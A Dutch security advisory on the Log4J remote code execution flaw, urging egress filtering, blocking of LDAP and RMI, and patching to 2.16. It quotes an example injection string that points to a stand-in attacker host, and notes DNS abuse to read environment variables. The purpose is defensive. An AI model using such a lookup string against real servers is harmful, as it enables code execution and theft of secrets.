Log4J en de kracht van ​“egress filtering”

Beveiligingsonderzoekers waarschuwen al vele jaren dat het standaardgedrag van firewalls om alle verkeer van binnen naar buiten door te laten niet goed is. Een firewall is geen firewall als er interfaces zijn met allow any any. Sta niet zomaar alles toe naar het internet.

Vele hacks omvatten een stap waarbij de machine die gehackt wordt een connectie naar een server van de hacker moet maken. Als die connectie faalt, dan faalt de aanval. Dit geldt ook voor de ​“remote code execution”-aanval tegen Log4J.

De aanval werkt door Log4J een string te laten loggen die ${jdni:ldap://[attacker.com:1234]/a} bevat (of vergelijkbaar). Er zijn al veel varianten bekend, zodat sluitende detectie moeilijk, zo niet onmogelijk is.

In plaats van deze string veilig op te slaan zoals ​‘ie is, gaat Log4J nu een LDAP-verzoek doen naar (in dit voorbeeld) poort 1234 op attacker.com. Als de aanvaller LDAP goed opzet op deze host, dan kan hij/​zij doorsturen naar een Java class-file die de server dan downloadt en uitvoert.

Om deze aanval te laten werken is het essentieel dat de server die gehackt wordt LDAP en HTTP(S)-verzoeken naar onvertrouwde adressen op het internet kan maken. Als de firewall dit tegenhoudt (zoals zou moeten) dan kan de aanval niet slagen.

Veel goed bedoelde adviezen op het internet focussen op patchen/​updaten van Log4J, en detecteren/​blokkeren van inkomend verkeer. Beide zijn goed, maar complex. Door de aard van de software en de kwetsbaarheid is het moeilijk om te weten of er voldoende is gedaan.

Dus wij adviseren om te kijken naar ​“egress filtering” — het blokkeren van uitgaand verkeer naar het internet, alvorens het tijdrovende proces van het patchen van een Java library te starten. De library is ingebouwd in veel, heel veel Java-applicaties, soms op moeilijk vindbare manieren.

Samenvatting — wat te doen

1. Blokkeer alle connecties naar het internet geïnitieerd door (Java-)applicatieservers.
2. Als dat niet kan, blokkeer dan alle LDAP-connecties naar het internet vanuit deze servers, met een moderne firewall die checkt op het protocol in plaats van op poortnummer; poort 389 (de default port voor LDAP) is niet genoeg. Doe hetzelfde voor RMI.
3. Als het niet mogelijk is om alle LDAP- en RMI-connecties op alle poorten te blokkeren, beperkt deze dan tot een set vertrouwde IP-adressen.
4. Beschikt u niet over een moderne firewall met ​“traffic inspection”, en uitgaand verkeer kan ook niet beperkt worden tot vertrouwde IP-adressen, gebruik dan proxy-servers voor HTTP(S), lokale DNS-resolvers, en andere ​“tussenliggende” servers voor al het verkeer dat naar het internet moet.
5. Start dan met het patchen van Log4J en alle op het Java-platform gebouwde applicaties die u kunt vinden in uw netwerk, door een van de diverse online handleidingen hiervoor te volgen, zoals deze van onze vrienden van Northwave.
6. Het blokkeren van ${jdni: in inkomend verkeer is ook een goed idee, maar weet dat dit te omzeilen is.

Als u hulp nodig heeft weet u ons te vinden: (071) 204 0101 / info@​hackdefense.​nl

Noot: er is een beperkt restrisico dat we moeten noemen — als een aanvaller geen LDAP- en RMI-verzoeken kan maken dan kan hij/​zij nog wel DNS misbruiken om ​“environment variables” van de server te lezen. Soms bevatten deze gevoelige data, vooral op Amazon en Azure. Dus, we adviseren nog steeds om eerst te firewallen, en daarna de patch toe te passen.

Noot #2: de eerste patch voor Log4J, 2.15, was niet voldoende om de kwetsbaarheid te verhelpen. Een upgrade naar 2.16 is nodig. Onze aanbeveling om eerst LDAP en RMI naar het internet te stoppen geldt nog steeds.